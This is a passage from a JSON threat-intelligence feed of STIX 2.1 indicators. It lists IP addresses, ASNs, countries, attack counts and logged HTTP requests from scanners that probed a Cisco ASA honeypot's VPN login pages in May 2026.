            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T20:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 204957 (Green Floid LLC)",
      "id": "indicator--f4cf9791-75cd-4456-9242-856231833dd1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '153.80.142.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T20:20:10.000Z",
      "valid_until": "2026-06-30T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-29T19:22:09.049Z",
          "last_seen": "2026-05-29T19:22:19.999Z",
          "country": "United States",
          "country_code": "US",
          "asn": 204957,
          "as_org": "Green Floid LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T20:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--597db652-389f-4bb6-b3e3-840ec64da67c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.120.155.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T20:20:10.000Z",
      "valid_until": "2026-06-30T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-29T19:52:11.323Z",
          "last_seen": "2026-05-31T02:33:30.701Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T20:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--45f57f43-3caa-46e4-8a56-4ee1970de5c2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.121.67.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T20:20:10.000Z",
      "valid_until": "2026-06-30T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-29T19:50:26.489Z",
          "last_seen": "2026-05-29T19:50:42.459Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T20:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14956 (RouterHosting LLC)",
      "id": "indicator--e035a1bf-60fb-4e15-9ecd-ce1a51ffdc6e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.86.88.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T20:20:10.000Z",
      "valid_until": "2026-06-30T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-29T19:26:30.022Z",
          "last_seen": "2026-05-30T10:27:33.385Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14956,
          "as_org": "RouterHosting LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /admin/config.php HTTP/1.1\" 404 -",
            "\"GET /ari HTTP/1.1\" 404 -",
            "\"GET /ucp HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T20:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--874eb95a-7d71-4e4d-949e-bcf37a56a3ea",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '186.243.192.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T20:20:10.000Z",
      "valid_until": "2026-06-30T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-29T20:18:43.178Z",
          "last_seen": "2026-05-29T20:18:55.004Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T23:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--eadbe957-c18c-47b3-918c-075af84b6478",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '138.249.239.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T23:20:10.000Z",
      "valid_until": "2026-06-30T23:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-27T02:46:27.453Z",
          "last_seen": "2026-05-29T23:12:26.805Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T23:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--5f89a22a-2c38-4f91-85aa-8e71fd96c5f8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.120.161.216']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T23:20:10.000Z",
      "valid_until": "2026-06-30T23:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-29T22:27:27.251Z",
          "last_seen": "2026-05-29T22:27:43.325Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T23:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--31ed79cb-1cf5-4906-b874-02b3662a301a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '186.243.128.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T23:20:10.000Z",
      "valid_until": "2026-06-30T23:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-29T22:38:59.929Z",
          "last_seen": "2026-05-29T22:39:11.983Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T23:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: DE; ASN 45102 (Alibaba US Technology Co., Ltd.)",
      "id": "indicator--6632a2ce-2c2e-4f9e-aa52-74577598dc4a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '8.211.9.248']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T23:20:10.000Z",
      "valid_until": "2026-06-30T23:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-29T22:37:47.066Z",
          "last_seen": "2026-05-29T22:37:51.702Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 45102,
          "as_org": "Alibaba US Technology Co., Ltd.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-30T00:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--a5cc7826-0910-48d9-82fa-eddfd79930da",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '142.252.4.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T00:20:10.000Z",
      "valid_until": "2026-07-01T00:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-30T00:05:16.322Z",
          "last_seen": "2026-05-30T00:05:32.786Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-30T00:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--3db9630d-53dc-40c0-87b5-e4f67dd45344",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.120.71.247']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T00:20:10.000Z",
      "valid_until": "2026-07-01T00:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-29T23:26:56.585Z",
          "last_seen": "2026-05-29T23:27:14.577Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-30T00:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--a7bc0575-a38a-4c1d-bc61-2667f7c0cbbc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.113.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T00:20:10.000Z",
      "valid_until": "2026-07-01T00:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-29T23:24:31.008Z",
          "last_seen": "2026-05-30T00:53:20.607Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-30T00:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: PT; ASN 211680 (Sistemas Informaticos, S.A.)",
      "id": "indicator--622dd7f5-291b-4b5f-8999-720a31588d89",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.156.128.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T00:20:10.000Z",
      "valid_until": "2026-07-01T00:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 4,
          "first_seen": "2026-05-29T23:24:07.497Z",
          "last_seen": "2026-05-29T23:24:38.922Z",
          "country": "Portugal",
          "country_code": "PT",
          "asn": 211680,
          "as_org": "Sistemas Informaticos, S.A.",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /php/login.php HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-30T00:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 204957 (Green Floid LLC)",
      "id": "indicator--0d4c1dbe-4c42-4958-818e-1eea765def55",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '88.214.48.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T00:20:10.000Z",
      "valid_until": "2026-07-01T00:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-29T23:30:00.095Z",
          "last_seen": "2026-05-30T11:40:32.160Z",
          "country": "United States",
          "country_code": "US",
          "asn": 204957,
          "as_org": "Green Floid LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-30T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: CA; ASN 14061 (DigitalOcean, LLC)",
      "id": "indicator--55b51e36-f9d4-4c23-8c71-d4bdcb63fa2c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '138.197.144.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T01:20:10.000Z",
      "valid_until": "2026-07-01T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-30T00:32:33.544Z",
          "last_seen": "2026-05-30T00:32:36.547Z",
          "country": "Canada",
          "country_code": "CA",
          "asn": 14061,
          "as_org": "DigitalOcean, LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-30T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--b05684fa-2f6f-477f-890f-6c01c173b809",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.252.110.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T01:20:10.000Z",
      "valid_until": "2026-07-01T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-30T00:38:16.391Z",
          "last_seen": "2026-05-30T00:38:31.499Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-30T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: IR; ASN 213790 (Limited Network LTD)",
      "id": "indicator--c597cbc1-51b3-40fd-92e5-f905562a8fe4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.94.9.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T01:20:10.000Z",
      "valid_until": "2026-07-01T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-30T01:19:14.568Z",
          "last_seen": "2026-05-30T01:19:14.568Z",
          "country": "Iran",
          "country_code": "IR",
          "asn": 213790,
          "as_org": "Limited Network LTD",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-30T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 204957 (Green Floid LLC)",
      "id": "indicator--6f43d426-f5cb-46ac-b0a6-55061b60318d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '153.80.144.35']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T02:20:10.000Z",
      "valid_until": "2026-07-01T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-30T01:56:38.017Z",
          "last_seen": "2026-05-30T01:56:50.679Z",
          "country": "United States",
          "country_code": "US",
          "asn": 204957,
          "as_org": "Green Floid LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-30T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--63e1361d-2cea-4e1e-86d4-b17154ff5129",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.120.61.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T02:20:10.000Z",
      "valid_until": "2026-07-01T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-30T02:02:23.926Z",
          "last_seen": "2026-05-30T02:02:36.486Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-30T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: IR; ASN 213790 (Limited Network LTD)",
      "id": "indicator--5c64bf50-363e-4d59-b4aa-6ee2000fe907",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.94.9.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T02:20:10.000Z",
      "valid_until": "2026-07-01T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-30T01:20:49.729Z",
          "last_seen": "2026-05-30T01:20:49.729Z",
          "country": "Iran",
          "country_code": "IR",
          "asn": 213790,
          "as_org": "Limited Network LTD",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-30T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--e9fb273c-8e1f-42c9-9020-5f7b55906458",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
